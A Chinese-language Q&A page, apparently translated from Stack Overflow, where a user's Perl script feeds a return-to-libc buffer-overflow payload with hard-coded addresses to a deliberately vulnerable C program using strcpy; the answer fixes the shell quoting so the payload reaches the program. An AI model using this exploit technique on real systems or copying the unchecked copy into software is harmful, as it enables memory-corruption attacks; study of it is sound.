2012-11-26 27 views
3

我搞砸了緩衝區溢出,我試圖執行返回到libc漏洞。爲了幫助我,我設計了以下perl腳本:正確的方式來傳遞十六進制字符作爲參數 - 系統()

#!/usr/bin/perl 

for ($i = 1; $i < 200; $i++) { 
    print "count: $i\n"; 
    system("echo 1 | ./vuln " . "A"x$i . "\x20\x83\x04\x08AAAA\x5c\xf9\xff\xbf"); 
} 

這裏是我的目標代碼(./vuln):

#include<stdio.h> 
#include<string.h> 

main(int argc, char **argv) 
{ 
    char buffer[80]; 
    printf("%d\n%s\n", strlen(argv[1]), argv[1]); 
    getchar(); 
    strcpy(buffer, argv[1]); 
    return 1; 
} 

這是腳本的輸出:

count: 1 
1 
A 
count: 2 
2 
AA 
count: 3 
3 
AAA 
count: 4 
4 
AAAA 
count: 5 
5 
AAAAA 

這表示沒有連接最後一個字符串的部分(包含大量十六進制字符的字符串)作爲參數成功傳遞。

我在這裏做錯了什麼?

+2

'\ x20'是一個空間,所以在這之後它的argv [2] – PSIAlt

回答

10

試試這個:

system("echo 1 | ./vuln '" . "A"x$i . "\x20\x83\x04\x08AAAA\x5c\xf9\xff\xbf'"); 

爲0x20的空間,所以不帶引號其後的內容是一個單獨的參數。

+0

很棒,它工作。 TYVM! –

相關問題